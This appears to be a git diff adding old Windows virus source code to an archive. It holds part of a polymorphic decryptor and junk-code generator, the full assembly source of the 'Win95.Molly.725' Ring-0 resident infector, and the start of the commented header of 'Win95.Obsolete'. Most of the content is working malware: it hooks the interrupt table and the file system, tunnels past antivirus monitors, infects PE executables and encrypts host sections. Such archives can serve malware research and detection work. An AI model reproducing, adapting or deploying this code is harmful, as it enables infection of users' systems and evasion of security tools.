look like this: +; +; pushad +; lea RegUsedAsPointer,[eax+placewherecryptedcodestarts] +; mov keyregister,randomvalue +; sub keyregister,randomvalue +; mov counterreg,size +; again: +; mov tempregister,[RegUsedAsPointer] +; xor tempregister,keyregister +; mov [RegUsedAsPointer],tempregister +; add RegUsedAsPointer,4 +; dec counterreg +; pushf +; popf +; jz exit +; jmp again +; exit: +; +; +; between each instruction some random code is putted. + +polysz equ offset polyend - offset encrypt +encrypt: + push eax + push ebx + push edx + push esi + push edi + + lea edi,[offset viruscopy+ebp-start] ;edi points to buffer + + call gengarbage + + ;--------PUSHAD-- + mov al,60h ;pushad + stosb + ;--------MOV----- + + call gengarbage + +getregforoffset: ;This reg will contain the offset of code + call getrndal + cmp al,4 ;do not use ESP + je getregforoffset + cmp al,5 ;do not use EBP (!) + je getregforoffset + + mov ch,al ;backup register for offset code + + + + ;--LEA reg,[EAX+x]- ;lea + shl al,3 + mov ah,08dh + xchg ah,al + add ah,080h + push edi ;save location for patch + stosw + stosd ;doesn't matter what we store + ;------------------ + + + call gengarbage + + +getregforkey: ;This reg will contain the crypt key + call getrndal + cmp al,4 ;do not use ESP + je getregforkey + cmp al,1 ;do not use ECX + je getregforkey + cmp al,ch + je getregforkey + + mov cl,al ;backup register + + call gengarbage + + ;--------MOV----- + add al,0b8h ;make a MOV reg, rndvalue + stosb + call get_rnd32 + stosd + ;---------------- + + mov ebx,eax ;backup key + mov ah,cl ;register back in ah + + call gengarbage + + ;--------SUB----- + mov al,081h ;make a SUB reg, rndvalue + add ah,0e8h + stosw + call get_rnd32 + stosd + ;---------------- + + + sub ebx,eax ;Save the cryptkey + + +getregforsize: + call getrndal + cmp al,4 ;do not use ESP + je getregforsize + cmp al,cl ;nor keyreg + je getregforsize + cmp al,ch ;nor offsetreg + je getregforsize + + mov dh,al + + + call gengarbage + + ;----MOVSIZE----- ;mov ecx,virussize (size to decrypt) + add al,0b8h + stosb + mov eax,virusz/4 + stosd + ;---------------- + + + ;*** AT THIS POINT IS EDI THE OFFSET FOR THE JMP *** + + mov esi,edi + + + ;8b + 00, eax=3,[eax=0] ch = reg2 + + +getregtoxor: ;This reg will contain crypted code and'll be xored + call getrndal + cmp al,4 ;do not use ESP + je getregtoxor + cmp al,cl + je getregtoxor ;do not use the keyreg + cmp al,ch + je getregtoxor ;do not use the offset reg + cmp al,dh + je getregtoxor + + + mov dl,al + + + call gengarbage + + + ;-MOV REG3,[REG2] ;make a mov reg3,[reg2] reg2=offset code + shl al,3 + or al,ch + mov ah,08bh + xchg al,ah + stosw + ;---------------- + + + call gengarbage + + + ;-XOR REG3,REG1-- ;make a xor reg3,reg1 reg1=key + mov al,dl + shl al,3 + or al,cl + add al,0c0h + mov ah,33h + xchg al,ah + stosw + ;---------------- + + + call gengarbage + + + mov al,dl + + ;-MOV [REG2],REG3 ;make a mov [reg2],reg3 reg2=offset code + shl al,3 + or al,ch + mov ah,089h + xchg al,ah + stosw + ;---------------- + + + call gengarbage + + + ;-ADD REG2,4----- ;adds 4 to the offset register + mov al,83h + stosb + mov ax,004c0h + add al,ch + stosw + ;---------------- + + + call gengarbage + + + ;---DEC REG4----- ;decreases counter reg4 (size) + mov al,dh + add al,048h + stosb + ;---------------- + + mov eax,9c66h ;pushf + stosw + + + call gengarbage + + inc ah ;popf + stosw + + + ;---JZ OVER------ + mov ax,074h + stosw + push edi + ;---------------- + + + mov eax,edi ;can't generate > 80h-5 bytes of garbage +regenerate: ;between JZ beh - poly - JMP - beh: code... + mov edi,eax ;restore EDI for ja + + call gengarbage + + mov edx,edi + sub edx,eax + cmp edx,080h-5 ;80h = max JZ distance, 5 is size of JMP BACK + ja regenerate + + + ;----JMP BACK---- + sub esi,edi + mov al,0e9h + stosb + mov eax,0fffffffbh + add eax,esi + stosd + ;---------------- + + + + ;----PATCH JZ---- + pop esi ;esi-1 = jz value + + mov eax,edi + sub eax,esi + mov byte ptr [esi-1],al + + ;---------------- + + call gengarbage + + + ;----POPAD------- + mov al,61h ;popad + stosb + ;---------------- + + + call gengarbage + + + ;----PATCH LEA--- + pop esi ;patch LEA reg1,[EAX+startofcrypted] + push edi + sub edi,offset viruscopy-start + sub edi,ebp + mov dword ptr [esi+2],edi + pop edi + ;---------------- + + + mov ecx,virusz/4 ;copy encrypted virus code after poly + mov esi,ebp ;decryptors +cryptit: + lodsd + xor eax,ebx + stosd + loop cryptit + + sub edi,offset viruscopy-start + sub edi,ebp + mov ecx,edi ;virus size + poly in ECX + + pop edi + pop esi + pop edx + pop ebx + pop eax + ret + + +;----------------------------------------------------------------------------; +; Generates lot of rnd instructions which look good but do nothing +; (they undo themself indirect) +;----------------------------------------------------------------------------; + +gengarbage: + push eax + push ebx + push ecx + push edx + push esi + +garbageloop: + + call get_rnd32 + + and al,1111b + + cmp al,1 + je genadd ;OK + + cmp al,2 + je gensub ;OK + + cmp al,3 + je genxor ;OK + + cmp al,4 + je genmov ;OK + + cmp al,5 + je genpush ;OK + + cmp al,6 + je geninc ;OK + + cmp al,7 + je gendec ;OK + + cmp al,8 + je gencmp ;OK + + cmp al,9 + je genjunk ;OK + + cmp al,0eh + jb garbageloop + +exitgen: + + pop esi + pop edx + pop ecx + pop ebx + pop eax + + ret + +;----------------------------------------------------------------------------- +; Generates random add +;----------------------------------------------------------------------------- +genadd: + call getrndal + + cmp al,4 + je genadd ;4 = esp, leave him alone + + cmp ah,80h + jb addandsub ;generate an add - code - sub + + and eax,111b + + cmp byte ptr [ebp+offset pushtable+eax-start],0h ;is the reg. pushed? + ja savetoadd ;yep + + call pushregister + + call gengarbage + + call randomadd ;adds a value or register + + call gengarbage + + call popregister + + jmp exitgen + +savetoadd: + call randomadd + + jmp exitgen + +addandsub: + push eax + + xchg al,ah + mov al,081h + add ah,0c0h + + stosw + push eax + + call get_rnd32 + stosd + push eax + + call gengarbage + + pop ebx + pop eax + + add ah,028h + stosw + mov eax,ebx + stosd + + pop eax + jmp exitgen +;----------------------------------------------------------------------------- + +;----------------------------------------------------------------------------- +; Generates random sub +;----------------------------------------------------------------------------- +gensub: + call getrndal + + cmp al,4 + je gensub ;4 = esp, leave him alone + + cmp ah,80h + jb subandadd ;generate an add - code - sub + + and eax,111b + + cmp byte ptr [ebp+offset pushtable+eax-start],0h ;is the reg. pushed? + ja savetosub ;yep + + call pushregister + + call gengarbage + + call randomsub ;adds a value or register + + call gengarbage + + call popregister + + jmp exitgen + +savetosub: + + call randomsub + + jmp exitgen + +subandadd: + + push eax + + xchg al,ah + mov al,081h + add ah,0e8h + + stosw + push eax + + call get_rnd32 + stosd + push eax + + call gengarbage + + pop ebx + pop eax + + sub ah,028h + stosw + mov eax,ebx + stosd + + pop eax + + jmp exitgen +;----------------------------------------------------------------------------- + +;----------------------------------------------------------------------------- +; Generates random xor +;----------------------------------------------------------------------------- +genxor: + call getrndal + + cmp al,4 + je genxor + + cmp ah,80h + jb genxorxor ;generate an xor - code - xor + + and eax,111b + + cmp byte ptr [ebp+offset pushtable+eax-start],0h ;is the reg. pushed? + ja savetoxor ;yep + + call pushregister ;first push + + call gengarbage ;generate some garbage + + call randomxor ;xors with a value or register + + call gengarbage ;generate some garbage + + call popregister ;and pop it + + jmp exitgen + +savetoxor: + + call randomxor + + jmp exitgen + +genxorxor: + push eax + + xchg al,ah + add ah,0f0h + mov al,081h + + stosw + push eax + + call get_rnd32 + stosd + push eax + + call gengarbage + + pop ebx + pop eax + + stosw + + mov eax,ebx + + stosd + + pop eax + jmp exitgen + +;----------------------------------------------------------------------------- + +;----------------------------------------------------------------------------- +; Generates random mov +;----------------------------------------------------------------------------- +genmov: + call getrndal + + cmp al,4 + je genmov + + and eax,111b ; eax <- al + + cmp byte ptr [ebp+offset pushtable+eax-start],0h ;is the reg. pushed? + ja savetomov ;yep + + call pushregister ;first push + + call gengarbage ;generate some garbage + + call randommov ;movs a value or register + + call gengarbage ;generate some garbage + + call popregister ;and pop it + + jmp exitgen + +savetomov: + + call randommov + + jmp exitgen +;----------------------------------------------------------------------------- + +;----------------------------------------------------------------------------- +; Generates random push +;----------------------------------------------------------------------------- +genpush: + call getrndal + cmp al,4 + je genpush + + and eax,111b + + call pushregister + + call gengarbage + + call popregister + + jmp exitgen +;----------------------------------------------------------------------------- + +;----------------------------------------------------------------------------- +; Generates random inc +;----------------------------------------------------------------------------- +geninc: ;40 + call getrndal + cmp al,4 + je geninc + + cmp ah,80h + ja genincdec + + and eax,111b + + cmp byte ptr [ebp+offset pushtable+eax-start],0h ;is the reg. pushed? + ja savetoinc + + call pushregister + + call gengarbage + + add al,040h + stosb + + call gengarbage + + sub al,040h + + call popregister + + jmp exitgen + +savetoinc: + add al,040h + stosb + jmp exitgen + +genincdec: + add al,40h ;inc + stosb + + call gengarbage + + add al,8 ;dec + stosb + + jmp exitgen + + +;----------------------------------------------------------------------------- + +;----------------------------------------------------------------------------- +; Generates random dec +;----------------------------------------------------------------------------- +gendec: ;48 + call getrndal + cmp al,4 + je gendec + + cmp ah,80h + ja gendecinc + + and eax,111b + + cmp byte ptr [ebp+offset pushtable+eax-start],0h ;is the reg. pushed? + ja savetodec + + call pushregister + + call gengarbage + + add al,048h + stosb + + call gengarbage + + sub al,048h + + call popregister + + jmp exitgen + +savetodec: + add al,048h + stosb + jmp exitgen + +gendecinc: + add al,48h + stosb + + call gengarbage + + sub al,8h + stosb + jmp exitgen + +;----------------------------------------------------------------------------- + +;----------------------------------------------------------------------------- +; Pushes register in al +;----------------------------------------------------------------------------- +pushregister: + push eax + + inc byte ptr [ebp+offset pushtable+eax-start] ;set flag for reg. + + add al,050h + stosb + + pop eax + ret +;----------------------------------------------------------------------------- + +;----------------------------------------------------------------------------- +; Pops register in al +;----------------------------------------------------------------------------- +popregister: + push eax + + dec byte ptr [ebp+offset pushtable+eax-start] ;unflag for reg. + + add al,058h + stosb + + pop eax + ret +;----------------------------------------------------------------------------- + +;----------------------------------------------------------------------------- +; Generates random add reg, value or add reg1,reg2 - reg = al +;----------------------------------------------------------------------------- +randomadd: + push eax + + call get_rnd32 + + cmp al,80h + pop eax + push eax + ja addregreg + + call randomaddvalue + +rndaddb: + pop eax + ret + +addregreg: + call randomaddreg + jmp rndaddb + +;----------------------------------------------------------------------------- + + +;----------------------------------------------------------------------------- +; Generates random add reg,value - reg = al +;----------------------------------------------------------------------------- + + +; 81 c0+reg value +; reg = eax 05 value + +randomaddvalue: + push eax + + or al,al ;reg = eax? + jz addeax ;special + + xchg al,ah + mov al,081h + add ah,0c0h + + stosw + +backfromaddeax: + + call get_rnd32 + + stosd + + pop eax + ret + +addeax: + + mov al,05h + stosb + jmp backfromaddeax + +;----------------------------------------------------------------------------- + +;----------------------------------------------------------------------------- +; Generates random add reg1,reg2 - reg1 = al +;----------------------------------------------------------------------------- +randomaddreg: + push eax + + mov bl,al + + call getrndal + + shl bl,3 + + or al,bl ;mix instructions + + add al,0c0h + mov ah,03h + xchg ah,al + + stosw + + pop eax + ret +;----------------------------------------------------------------------------- + + +;----------------------------------------------------------------------------- +; Generates random sub reg, value or sub reg1,reg2 - reg = al +;----------------------------------------------------------------------------- +randomsub: + + push eax + + call get_rnd32 + + cmp al,80h + pop eax + push eax + ja subregreg + + call randomsubvalue + +rndsubb: + pop eax + ret + +subregreg: + call randomsubreg + jmp rndsubb + +;----------------------------------------------------------------------------- + + +;----------------------------------------------------------------------------- +; Generates random sub reg,value - reg = al +;----------------------------------------------------------------------------- + + +; 81 c0+reg value +; reg = eax 05 value + +randomsubvalue: + push eax + + or al,al ;reg = eax? + jz subeax ;special + + xchg al,ah + mov al,081h + add ah,0e8h + + stosw + +backfromsubeax: + + call get_rnd32 + + stosd + + pop eax + ret + +subeax: + + mov al,05h + stosb + jmp backfromsubeax + +;----------------------------------------------------------------------------- + +;----------------------------------------------------------------------------- +; Generates random sub reg1,reg2 - reg1 = al +;----------------------------------------------------------------------------- +randomsubreg: + push eax + + mov bl,al + + call getrndal + + shl bl,3 + + or al,bl ;mix instructions + + add al,0c0h + mov ah,03h + xchg ah,al + + stosw + + pop eax + ret +;----------------------------------------------------------------------------- + + +;----------------------------------------------------------------------------- +; Generates a xor reg, value or xor reg, reg2 - reg = al +;----------------------------------------------------------------------------- +randomxor: + + push eax + call get_rnd32 + cmp al,80h + pop eax + push eax + ja xorvalue + + call randomxorreg + +rndxorr: + + pop eax + ret + +xorvalue: + + call randomxorvalue + jmp rndxorr +;----------------------------------------------------------------------------- + + +;----------------------------------------------------------------------------- +; Generates a random xor reg,reg2 - reg = al +;----------------------------------------------------------------------------- +randomxorreg: + push eax ;6633 + + mov bl,al + + call getrndal + + shl bl,3 + + or al,bl ;mix instructions + + add al,0c0h + mov ah,033h + + xchg ah,al + + stosw + + pop eax + ret +;----------------------------------------------------------------------------- + + +;----------------------------------------------------------------------------- +; Generates a random xor reg,value +;----------------------------------------------------------------------------- +randomxorvalue: + push eax + + add al,0f0h + mov ah,081h + + xchg al,ah + + stosw + + call get_rnd32 + + stosd + + pop eax + ret +;----------------------------------------------------------------------------- + +;----------------------------------------------------------------------------- +; generates a random mov reg,value or reg,reg2 +;----------------------------------------------------------------------------- +randommov: + push eax + + cmp ah,080h + jb movreg + + call randommovvalue + +movback: + + pop eax + ret + +movreg: + call randommovreg + jmp movback +;----------------------------------------------------------------------------- + +;----------------------------------------------------------------------------- +; Generates a random mov reg,value +;----------------------------------------------------------------------------- +randommovvalue: + push eax + + add al,0b8h + + stosb + + call get_rnd32 + + stosd + + pop eax + ret + +;----------------------------------------------------------------------------- +; generates a random mov reg,reg2 +;----------------------------------------------------------------------------- +randommovreg: ;8b (c0+reg) or reg2 + push eax + mov bl,al + + call getrndal + + shl bl,3 + + or al,bl ;mix instructions + + xchg ah,al + + mov al,08bh + add ah,0c0h + + stosw + + pop eax + ret + +;----------------------------------------------------------------------------- +; generates a random cmp reg,reg2 or cmp reg,value +;----------------------------------------------------------------------------- +gencmp: ;39/3b + call get_rnd32 + + cmp ah,0c0h + jb gencmp + + cmp al,80h + ja gencmpvalue + + push eax + + call get_rnd32 + mov bh,039h + cmp al,80h + ja gencmp1 + add bh,2 +gencmp1: + + pop eax + + mov al,bh + + cld + stosw + jmp exitgen + +gencmpvalue: ;81f8 + + and eax,0111b + add ax,081f8h + + xchg al,ah + + stosw + + call get_rnd32 + + stosd + jmp exitgen + + +;----------------------------------------------------------------------------- + + +;----------------------------------------------------------------------------- +; Generate junk f8 - fd +;----------------------------------------------------------------------------- +genjunk: + call get_rnd32 + cmp al,0f8h + jb genjunk + cmp al,0fdh + ja genjunk + + stosb + + jmp exitgen +;----------------------------------------------------------------------------- + + + + + +getrndal: + call get_rnd32 + and al,111b + ret + + +rdtcs equ + +get_rnd32: ;main part by GriYo / 29A + push ecx + push ebx + push edx + push edi + push esi + + mov eax,dword ptr [ebp+rnd32_seed-start] + mov ecx,eax + imul eax,41C64E6Dh + add eax,00003039h + mov dword ptr [ebp+rnd32_seed-start],eax + + xchg eax,ecx + rdtcs ;just 4 some xtra randomness + xchg eax,ecx + xor eax,ecx + + pop esi + pop edi + pop edx + pop ebx + pop ecx + ret + +polyend: + +db "(c)" ;just some junk + +end: + +;----------------------------------------------------------------------------; + + + +pointertope dd ? + +if debug eq 1 +death dd ? ;kill ourself flag +endif + +busy dd ? +filename db 100h dup (0h) +peheader db 1024 dup (0h) +whereappend dd ? +pushtable db 8 dup (0h) + +viruscopy db (virusz+1000) dup (0h) ;virussize + poly + +memend: + +_CODE ends + +;----------------------------------------------------------------------------; + +;----------------------------------------------------------------------------; +_DATA segment dword use32 public 'DATA' +fill db ? +_DATA ends +_burp segment dword use32 public 'LiFEwiRE' +fill2 db ? +_burp ends +;----------------------------------------------------------------------------; + +end start +end diff --git a/LegacyWindows/Win95.Molly.725.asm b/LegacyWindows/Win95.Molly.725.asm new file mode 100644 index 00000000..ba533923 --- /dev/null +++ b/LegacyWindows/Win95.Molly.725.asm @@ -0,0 +1,540 @@ +; [Win95.Molly.725] - An experimental specimen +; Copyright (c) 1999 by Billy Belcebu/iKX +; +; [ Introduction ] +; +; This is an experimental virus. After Win32.Legacy i needed to do something +; small and functional. And here it is. This is my third Ring-0 virus,but the +; code scheme is different this time from my two other R0's (Garaipena and +; PoshKiller). This virus was written just at the same time while i started +; to read Neuromancer, and as you can see, its name comes from the girl with +; specular lens, that is one of the main characters of the book (hey, don't +; hesitate and read it!). +; +; [ Features ] +; +; + Ring-0 virus by means of modifying the IDT +; + Resident fast infector of PE files with EXE extension +; + Infects when system opens file +; + Overwriting virus (heheh, don't go mad, overwrite relocs) :) +; + AntiMonitor tunneling (through InstallFileSystemApiHook structure) +; + Heavy optimization (at least i've tried to), only 725 bytes +; + My smallest virus so far :) +; +; [ Greetings ] +; +; + Wintermute & +; zAxOn - Thanx for pushing me to read Neuromancer... W0W! +; + Qozah/29A - Thanx for your help and support, dude +; + Benny/29A - I wanna hear that Czech group ;) +; + Super/29A - Why are you always in my greets? :) +; + StarZer0/iKX - sexsexsexsexsexsexsexsexsexsexsexsexsexsexsexsexsex +; + b0z0/iKX - Padania Libera rules! +; +; (c) 1999 Billy Belcebu/iKX + + .586p + .model flat,stdcall + +extrn MessageBoxA:PROC +extrn ExitProcess:PROC + + .data + +szTitle db "[Win95.Molly." + db virus_size/0100 mod 10 + "0" + db virus_size/0010 mod 10 + "0" + db virus_size/0001 mod 10 + "0" + db "]",0 +szMessage db "First generation host",10 + db "(c) 1999 Billy Belcebu/iKX",0 + + .code + +virus: + int 3 + jmp molly1 +fakehost: + call MessageBoxA,00h,offset szMessage,offset szTitle,1000h + call ExitProcess,00h + +; =========================================================================== +; Win95.Molly +; =========================================================================== + +molly segment dword use32 public '.molly' + +; --- Virus mode + +DEBUG equ FALSE + +; --- Some equates + +d equ <[ebp]-offset delta> +rd equ <[ebp]-offset r0delta> +rd_ equ <[ebx]-offset r0delta> + +virus_size equ virus_end-virus_start +heap_size equ heap_end-virus_end +total_size equ virus_size+heap_size + +TRUE equ 01h +FALSE equ 00h + +PUSHAD_EDI equ 00h +PUSHAD_ESI equ 04h +PUSHAD_EBP equ 08h +PUSHAD_ESP equ 0Ch +PUSHAD_EBX equ 10h +PUSHAD_EDX equ 14h +PUSHAD_ECX equ 18h +PUSHAD_EAX equ 1Ch + +PUSHAD_SIZE equ 20h + +; --- VxD Functions + +VMM_Get_DDB equ 00010146h +IFSMgr_GetHeap equ 0040000Dh +IFSMgr_RetHeap equ 0040000Eh +IFSMgr_Ring0_FileIO equ 00400032h +IFSMgr_InstallFileSystemApiHook equ 00400067h + +; --- Hooked Functions + +IFSFN_FILEATTRIB equ 21h +IFSFN_OPEN equ 24h +IFSFN_RENAME equ 25h + +; --- IFSMgr_Ring0_FileIO functions used + +R0_FILEATTRIBUTES equ 04300h +R0_OPENCREATFILE equ 0D500h +R0_CLOSEFILE equ 0D700h +R0_READFILE equ 0D600h +R0_WRITEFILE equ 0D601h + +; --- Macro land + +dbg macro shit2do +IF DEBUG + shit2do +ENDIF + endm + +beep macro + mov ax, 1000 + mov bx, 200 + mov cx, ax + mov al, 0B6h + out 43h, al + mov dx, 0012h + mov ax, 34DCh + div cx + out 42h, al + mov al, ah + out 42h, al + in al, 61h + mov ah, al + or al, 03h + out 61h, al + l1: mov ecx, 4680d + l2: loop l2 + dec bx + jnz l1 + mov al, ah + out 61h, al + endm + +VxDCall macro VxDService + int 20h + dd VxDService + endm + +VxDJmp macro VxDService + int 20h + dd VxDService+8000h + endm + +virus_start label byte + +; --- Virus entrypoint + +molly1: jmp gdelta + +; --- Virus data + +kernel dd 00000000h + +; --- Virus code + +gdelta: call delta ; Get a relative offset +delta: pop ebp + + push 05h ; ECX = 5 + pop ecx ; (limit for 'GetImageBase') + + mov esi,ebp ; ESI = Relative offset + call GetImageBase ; Get host's imagebase + mov ModBase d,eax ; Store it + + mov ecx,cs ; Avoid installation if we're + xor cl,cl ; in WinNT + jecxz GimmeSomethingBaby + + push 05h ; ECX = 5 + pop ecx ; (limit for 'GetImageBase') + + mov esi,[esp] + call GetImageBase + mov kernel d,eax + + push edx + sidt fword ptr [esp-2] ; Interrupt table to stack + pop edx + +IF DEBUG + add dl,((5*8)+4) +ELSE + add dl,((3*8)+4) +ENDIF + + mov ebx,[edx] + mov bx,word ptr [edx-4] + + lea esi,NewInt3 d + + mov [edx-4],si + shr esi,16 ; Move MSW to LSW + mov [edx+2],si + +IF DEBUG + int 5 +ELSE + int 3 +ENDIF + + mov [edx-4],bx + shr ebx,16 + mov [edx+2],bx + +GimmeSomethingBaby: + mov ebx,00400000h ; Get at runtime +ModBase equ $-4 + add ebx,(fakehost-virus)+00001000h ; Get at infection time +OldEIP equ $-4 + + jmp ebx + +NewInt3: + pushad + + dbg + + mov eax,kernel d ; EAX = K32 imagebase + add al,38h ; Ptr to an unused field + + cmp word ptr [eax],0CA5Eh ; Already installed? + jz already_installed ; If so, exit + + mov word ptr [eax],0CA5Eh ; Case is here... + + fild real8 ptr [ebp+(@@1-delta)] ; Do u know any other way for + ; manipulate more than 4 bytes? + ; (without MMX, dork ;) + push total_size +@@1: VxDCall IFSMgr_GetHeap + xchg eax,ecx + pop eax + + fistp real8 ptr [ebp+(@@1-delta)] + + jecxz already_installed + + xchg eax,ecx + mov edi,eax + lea esi,virus_start d + rep movsb + + lea edi,[eax+(FileSystemHook-virus_start)] + xchg edi,eax + push eax +@@2: VxDCall IFSMgr_InstallFileSystemApiHook + pop ebx + + xchg esi,eax + push esi + add esi,04h +tunnel: lodsd + xchg eax,esi + add esi,08h + js tunnel + + mov dword ptr [edi+(top_chain-virus_start)],eax + pop eax + mov dword ptr [edi+(OldFSA-virus_start)],eax + + and byte ptr [edi+(semaphore-virus_start)],00h + +already_installed: + popad + iret + +; --- The new FileSystem hook ;) + +FileSystemHook proc c, FSD_Func_Address:DWORD, Function:DWORD, Drive:DWORD,\ + ResourceKind:DWORD, StrCodePage:DWORD, PtrIOREQ:DWORD + + cmp Function,IFSFN_OPEN ; File Open? Infect if it is + jz infect + +ExitFileSystemHook: + mov eax,12345678h + org $-4 +OldFSA dd 00000000h + call [eax] c, FSD_Func_Address, Function, Drive, ResourceKind, \ + StrCodePage, PtrIOREQ + ret +FileSystemHook endp + +r0fio: VxDJmp IFSMgr_Ring0_FileIO +R0_FileIO: VxDJmp IFSMgr_Ring0_FileIO + dw 0000h + +pe_header_ptr dd 00000000h +top_chain dd 00000000h +semaphore db 00h + +infect: + pushfd + pushad + + call r0delta +r0delta:pop ebx + + cmp byte ptr [ebx+(semaphore-r0delta)],00h + jnz exit_infect + + inc byte ptr [ebx+(semaphore-r0delta)] + + lea esi,top_chain rd_ ; Make null top chain, so we + lodsd ; avoid monitors by means of + xor edx,edx ; cutting their balls :) + xchg [eax],edx + + pushad + + lea edi,filename rd_ + push edi + + mov esi,PtrIOREQ ; ESI = Ptr to IOREQ struc + mov esi,[esi.2Ch] ; ESI = Ptr to UNI filename +uni2asciiz: + movsb ; Convert to ASCIIz + dec edi + cmpsb + jnz uni2asciiz + + pop edx ; EDI = Ptr to ASCIIz filename + + cmp dword ptr [edi-05h],"EXE." ; Infect only EXE files + jnz AvoidInfection + +IF DEBUG + cmp dword ptr [edi-0Ch],"TAOG" + jnz AvoidInfection +ENDIF + + mov esi,edx ; ESI = Ptr to filename + xor eax,eax + mov ah,R0_FILEATTRIBUTES/100h ; EAX = Function + ; GETFILEATTRIBUTES + push eax + call R0_FileIO + pop eax + jc AvoidInfection + + inc eax ; EAX = Function + ; SETFILEATTRIBUTES + push esi + push ecx + push eax + xor ecx,ecx ; ECX = New attributes + call R0_FileIO + jc RestoreAttributes + + xor eax,eax + cdq + mov ah,R0_OPENCREATFILE/100h ; EAX = Function OPENFILE + mov ecx,edx ; ECX = 0 + inc edx ; EDX = 1 + mov ebp,edx + inc ebp + xchg ebp,ebx ; EBX = 2 + call R0_FileIO + jc RestoreAttributes + xchg eax,ebx ; EBX = File handle + + xor eax,eax + mov ah,R0_READFILE/100h ; EAX = Function READFILE + push eax + push 04h + pop ecx ; ECX = Bytes to read (4) + push 3Ch + pop edx ; EDX = Where to read (3C) + lea esi,pe_header_ptr rd ; ESI = Where store data + call R0_FileIO + + lodsd + xchg eax,edx ; EDX = Where to read + pop eax ; EAX = Function READFILE + lea esi,pe_header rd ; ESI = Where store data + xor ecx,ecx + mov ch,04h ; ECX = Bytes to read (1K) + call R0_FileIO + + cmp word ptr [esi],"EP" + jnz CloseFile + + mov al,"M"-"O"+"L"-"L"+"Y" ; Mark in the PE header + cmp byte ptr [esi+1Ah],al + jz CloseFile + mov byte ptr [esi+1Ah],al + + mov edi,esi + movzx eax,word ptr [edi+06h] ; Get last section of header + dec eax + imul eax,eax,28h + add esi,eax + add esi,78h + mov edx,[edi+74h] + shl edx,03h + add esi,edx ; ESI = last section header + ; EDI = PE header + + mov [esi+24h],0E0000000h ; New sectionz attributes + + and dword ptr [edi+0A0h],00h ; Nulify possible .reloc + and dword ptr [edi+0A4h],00h + + cmp dword ptr [esi],"ler." + jnz CloseFile + cmp word ptr [esi+04h],"co" + jnz CloseFile + +; Oh, wtf, OVERWRITE! ;) + + mov dword ptr [esi],"lom." ; .reloc -> .molly + mov word ptr [esi+4],"yl" + + and dword ptr [esi+18h],00h ; Clear PointerToRelocations + and word ptr [esi+20h],00h ; Clear NumberOfRelocations + + push dword ptr [esi+14h] ; Where copy virus + + mov eax,virus_size + mov [esi+08h],eax ; VirtualSize -> virus size + mov ecx,[edi+3Ch] + + cdq ; Align, sucker + push eax + div ecx + pop eax + sub ecx,edx + add eax,ecx + + mov [esi+10h],eax ; SizeOfRawData -> aligned + ; virus size + + mov eax,[esi+0Ch] ; New EIP + xchg eax,[edi+28h] ; Put new EIP and get old one + mov OldEIP rd,eax ; Save it + + push eax + + xor eax,eax + mov ah,R0_WRITEFILE/100h ; Write the modified header + inc eax + push eax + xor ecx,ecx + mov ch,04h + mov edx,pe_header_ptr rd + lea esi,pe_header rd + call R0_FileIO + + fild real8 ptr [ebp+(r0fio-r0delta)] ; Fix R0_FileIO VxDJmp... + fistp real8 ptr [ebp+(R0_FileIO-r0delta)] + + pop eax ; Write virus + pop ecx + pop edx + lea esi,virus_start rd + call R0_FileIO + +CloseFile: + xor eax,eax + mov ah,R0_CLOSEFILE/100h + call R0_FileIO + +RestoreAttributes: + pop eax + pop ecx + pop esi + call R0_FileIO + +AvoidInfection: + popad + + mov [eax],edx ; Restore top chain + + dec byte ptr [ebx+(semaphore-r0delta)] + +exit_infect: + popad + popfd + jmp ExitFileSystemHook + +; input: +; ESI - Any position in the page where we want to search +; ECX - Search limit (number of pages(limit)/10) +; output: +; EAX - Base address of module/process + +GetImageBase: + pushad + and esi,0FFFF0000h +_@1: cmp word ptr [esi],"ZM" + jz CheckPE +_@2: sub esi,00010000h + loop _@1 + jmp WeFailed +CheckPE: + mov edi,[esi.3Ch] + add edi,esi + cmp word ptr [edi],"EP" + jnz _@2 + mov [esp.PUSHAD_EAX],esi +WeFailed: + popad + ret + +; --- Some shit + + db 00h,"[Win95.Molly] (c) 1999 Billy Belcebu/iKX",00h + +; --- Virus heap data + +virus_end label byte +filename db 100h dup (00h) +pe_header db 400h dup (00h) + +heap_end label byte + +molly ends + + end virus + + + + + diff --git a/LegacyWindows/Win95.Obsolete.asm b/LegacyWindows/Win95.Obsolete.asm new file mode 100644 index 00000000..9b51e21b --- /dev/null +++ b/LegacyWindows/Win95.Obsolete.asm @@ -0,0 +1,854 @@ +;============================================================================ +; +; +; NAME: Win95.Obsolete v1.00 +; TYPE: Direct-action variable encrypting PE-infector. +; OS: Windoze95 (my version that is). +; SIZE: 1400-sumptin' bytes (yuck!). +; AUTHOR: T-2000 / [Immortal Riot]. +; E-MAIL: T2000_@hotmail.com +; DATE: December 1998 - February 1999. +; PAYLOAD: Trojanizes files. +; +; +; Driven by the painful thought that my virii would never make the rounds +; again, I had to abandon my soulmate DOS and start writing for the Win32- +; beast... may the Incubus get me... +; +; Obsolete is a 32-bit virus specifically written for Windoze95, however, +; it may or may not work correctly under other Win95-releases than mine, +; this due the fact that it uses two static API's (namely GetModuleHandleA +; and GetProcAddressA). When an infected file is executed the virus will +; try to infect up to three PE EXE/SCR files in the Windoze, System, and +; current directory. Files starting with the DWORD 'SCAN' will be excluded +; from infection, I assume McFuck's Win95-SCAN does a sanity-check, though +; I haven't verified this. Filedates/times will be preserved during the +; infection-process, and the virus won't be bothered by readonly-attributes. +; Obsolete doesn't fix a PE's alignments, Win95 doesn't give a fuck while +; WinNT does. Infection is achieved by adding the virusbody to the end of +; the victim's last section and pointing Entrypoint_RVA to this position. +; PE's are physically cut-off after the virusbody, this means that infected +; files can both grow or shrink in size. To make this heap of API's a bit +; less trivial I made it variable encrypt the last section of the host-file, +; it should harden-up recovery for the AV-pigs. Besides the virus itself is +; also variable encrypted with a seperate key. The payload is rather "harm- +; less" from my point of view, every now & then it trojanizes the file it is +; infecting, trojanized files will generate a soundblaster beep, display an +; OK-box with a message, and then exit the current process, they won't pass +; control back to their host anymore, but are still cleanable. +; +; Now why is it that almost everybody is infecting PE's by adding to the +; last section? (being called the "29A-technique" by a certain group of +; braggers). For instance, you are changing the section's flags, in Windoze +; you should always stay the fuck off things that ain't yours. Furthermore, +; when you overwrite the (supposed to be) zero padding-bytes with your virus, +; you might just as well overwrite overlay-data, and what if you decide to +; stay resident in the "stolen" section? it is very likely that the section's +; virtualsize will overlap with your virus, and thus crash the system. +; +; +; CREDITS: +; +; Thanks to Lord Julus for writing that PE-infection guide which showed me +; the basics of Win32-programming, further more JFK's One was of much help +; as it was well commented, yet not too complicated. Biggest thanks go to +; Virogen and Murkry for teaching me the steps of how to infect a PE-file. +; Unfortunately Johnny Panic's 